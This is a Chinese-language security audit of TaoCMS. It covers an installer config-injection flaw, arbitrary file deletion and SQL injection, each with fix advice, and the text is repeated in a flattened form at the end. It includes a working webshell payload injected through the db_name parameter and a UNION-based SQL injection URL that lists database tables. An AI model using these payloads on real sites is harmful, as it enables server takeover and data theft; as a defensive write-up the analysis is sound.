taocms审计
字数 893 2025-08-07 08:22:07

TaoCMS 安全审计报告与漏洞分析

1. 安装阶段getshell漏洞

漏洞位置

  • /install.php 第24行
  • /config.php 第16行

漏洞分析

  1. 安装过程中,db_name参数通过POST传入后被直接赋值

  2. 代码将POST值覆盖写入config.php文件:

    $configs=file_get_contents('config.php');
    $_POST['db_name']&&$configs=str_replace('define(\'DB_NAME\',    \''.DB_NAME.'\');','define(\'DB_NAME\', \''.$_POST['db_name'].'\');',$configs);
    file_put_contents('config.php',$configs);
    
  3. 攻击者可利用闭合符号插入恶意代码:

    db_name=|127.0.0.1:3306|root|123456|taocms|');assert($_REQUEST['cmd']);//
    

修复建议

  • 对写入配置文件的参数进行严格过滤
  • 使用正则表达式验证数据库名称格式

2. 任意文件删除漏洞

漏洞位置

  • admin/admin.php 第17行
  • include/Model/File.php

漏洞分析

  1. 通过URL参数控制文件删除操作:

    ?action=file&ctrl=del&path=filepath
    
  2. 文件删除逻辑:

    • 检查管理员权限($_SESSION[TB.'admin_level']=admin
    • 拼接系统绝对路径(SYS_ROOT
    • 直接删除指定文件,未对路径进行充分验证
  3. 结合目录穿越可实现任意文件删除

修复建议

  • 实现严格的路径验证机制
  • 限制可删除的文件目录范围
  • 增加文件删除确认机制

3. SQL注入漏洞

漏洞位置

  • include/Model/Cms.php 第112行
  • include/Db/Mysql.php 第60行

漏洞分析

  1. 注入POC:

    ?name=-1%"+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23&cat=0&status=&action=cms&ctrl=lists&submit=%E6%9F%A5%E8%AF%A2
    
  2. 最终执行的SQL语句:

    select count(*) from cms_cms where 1=1 and name like "%-1%" union select group_concat(table_name) from information_schema.tables where table_schema=database()#%" ORDER BY id DESC limit 20
    
  3. 漏洞点:

    • namecatstatus参数直接拼接进SQL语句
    • 结果处理函数magic2word会将注入结果返回

修复建议

  • 使用预处理语句
  • 对用户输入进行严格过滤
  • 实现参数化查询

4. 其他安全建议

  1. 会话管理:

    • 加强管理员权限验证
    • 实现多因素认证
  2. 文件操作:

    • 所有文件操作应限制在指定目录内
    • 实现文件操作日志记录
  3. 安装过程:

    • 安装完成后应删除或禁用install.php
    • 检查install.lock文件权限
  4. 输入验证:

    • 对所有用户输入实施白名单验证
    • 关键操作增加CSRF防护

5. 漏洞修复状态

根据报告,上述漏洞已在最新版本中修复,建议用户及时升级到最新版本。开发者已在GitHub issue中对这些问题作出了回应。


注:本报告仅用于安全研究目的,请勿用于非法用途。所有漏洞信息均已公开披露并修复。

TaoCMS 安全审计报告与漏洞分析 1. 安装阶段getshell漏洞 漏洞位置 /install.php 第24行 /config.php 第16行 漏洞分析 安装过程中, db_name 参数通过POST传入后被直接赋值 代码将POST值覆盖写入 config.php 文件: 攻击者可利用闭合符号插入恶意代码: 修复建议 对写入配置文件的参数进行严格过滤 使用正则表达式验证数据库名称格式 2. 任意文件删除漏洞 漏洞位置 admin/admin.php 第17行 include/Model/File.php 漏洞分析 通过URL参数控制文件删除操作: 文件删除逻辑: 检查管理员权限( $_SESSION[TB.'admin_level']=admin ) 拼接系统绝对路径( SYS_ROOT ) 直接删除指定文件,未对路径进行充分验证 结合目录穿越可实现任意文件删除 修复建议 实现严格的路径验证机制 限制可删除的文件目录范围 增加文件删除确认机制 3. SQL注入漏洞 漏洞位置 include/Model/Cms.php 第112行 include/Db/Mysql.php 第60行 漏洞分析 注入POC: 最终执行的SQL语句: 漏洞点: name 、 cat 、 status 参数直接拼接进SQL语句 结果处理函数 magic2word 会将注入结果返回 修复建议 使用预处理语句 对用户输入进行严格过滤 实现参数化查询 4. 其他安全建议 会话管理: 加强管理员权限验证 实现多因素认证 文件操作: 所有文件操作应限制在指定目录内 实现文件操作日志记录 安装过程: 安装完成后应删除或禁用install.php 检查install.lock文件权限 输入验证: 对所有用户输入实施白名单验证 关键操作增加CSRF防护 5. 漏洞修复状态 根据报告,上述漏洞已在最新版本中修复,建议用户及时升级到最新版本。开发者已在GitHub issue中对这些问题作出了回应。 注:本报告仅用于安全研究目的,请勿用于非法用途。所有漏洞信息均已公开披露并修复。